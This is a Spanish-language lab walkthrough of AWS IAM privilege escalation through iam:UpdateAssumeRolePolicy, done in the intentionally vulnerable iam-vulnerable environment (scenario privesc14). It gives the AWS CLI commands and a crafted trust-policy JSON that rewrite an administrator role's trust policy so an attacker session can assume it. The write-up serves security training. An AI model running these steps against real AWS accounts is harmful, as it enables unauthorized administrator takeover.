AssumeRolePolicy Update

Lab: IAM vulnerable

Una AssumeRolePolicy (también denominada política de confianza), define qué entidades pueden asumir un rol. El permiso para actualizar una AssumeRolePolicy cae técnicamente en la categoría de escalada de privilegios "Permisos sobre políticas". Sin embargo, AssumeRolePolicy merece una categoría aparte debido a su importancia en los entornos de AWS, además del hecho de que a menudo se malinterpreta.

MiPoliticaEC2

La política llamada MiPoliticaEC2, especifica que el rol solamente puede ser asumida por el servicio EC2, como se indica en el objeto del JSON: “service”: “ec2.amazonaws.com”.

Cuando otra entidad del entorno (como un usuario u otro servicio) que intente asumir este rol AWS denegará la solicitud. Esta es una protección importante contra los intentos de escalar privilegios asumiendo un rol de privilegios elevados.

El permiso iam:UpdateAssumeRolePolicy proporciona a una entidad la capacidad de cambiar la AssumeRolePolicy de un rol. Por lo tanto, si un usuario no está incluido en esta política, pero tiene la capacidad de actualizarla, simplemente puede agregar su cuenta de usuario AssumeRolePolicy, y en consecuencia, asumir el rol. Según los permisos asociados con el rol, esto podría proporcionar una ruta para la escalada de privilegios.

Laboratorio

GitHub - BishopFox/iam-vulnerable: Use Terraform to create your own vulnerable by design AWS IAM privilege escalation playground.GitHub

Lab: IAM - Vulnerable | Escenario: privesc14

Usuario del laboratorio:privesc14-UpdatingAssumeRolePolicy-user con el rol:

Configuración inicial

Listar las políticas asociadas al usuario:

aws iam list-attached-user-policies --user-name privesc14-UpdatingAssumeR olePolicy-user

Después, usando el ARN del nombre de la política se puede listar los permisos:

aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc14-UpdatingAssumeRolePolicy --version-id v1

Ahora se tiene que generar llaves de acceso para trabajar con el usuario:

aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc14- UpdatingAssumeRolePolicy-role --role-session-name privesc14

Y configurar el acceso con AWS configure:

aws configure --profile privesc14

Y validar las llaves:

aws sts get-caller-identity --profile privesc14

Explotación

En este escenario, se tiene que crear un documento de política que contenga el permiso sts:AssumeRole sobre el ARN del usuario atacante

assumerolepolicy.json

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:sts::651927172911:assumed-role/privesc14-UpdatingAssumeRolePolicy-role/privesc14"
            },
            "Action": "sts:AssumeRole",
            "Condition": {}
        }
    ]
}

El ARN del usuario que se encuentra en nuestra política maliciosa es el valor resultante del comando aws sts get-caller-identity

A continuación, se tiene que modificar la política para un rol administrativo con el permiso update-assume-role-policy , con el objetivo de que el usuario privesc14 pueda asumir dicho rol:

aws iam update-assume-role-policy --role-name Rol-Administrator --policy-document file://assumerolepolicy.json --profile privesc14

Listando el rol que se acaba de de actualizar se puede observar que tiene capacidades de administrador

Dado que el rol apunta ahora a nuestro usuario y el usuario tiene capacidades de asumir roles, procedemos a asumir el rol actualizado malicioso:

aws sts assume-role --role-arn arn:aws:iam::651927172911:role/Rol-Administrator-Spartan --role-session-name privesc14admin --profile privesc14

Con las nuevas credenciales se proceden a configurar en aws configure con un nuevo perfil

aws configure --profile privesc14admin

Y dado que este rol ahora tiene permisos de administrador, podemos decir que se a comprometido exitosamente.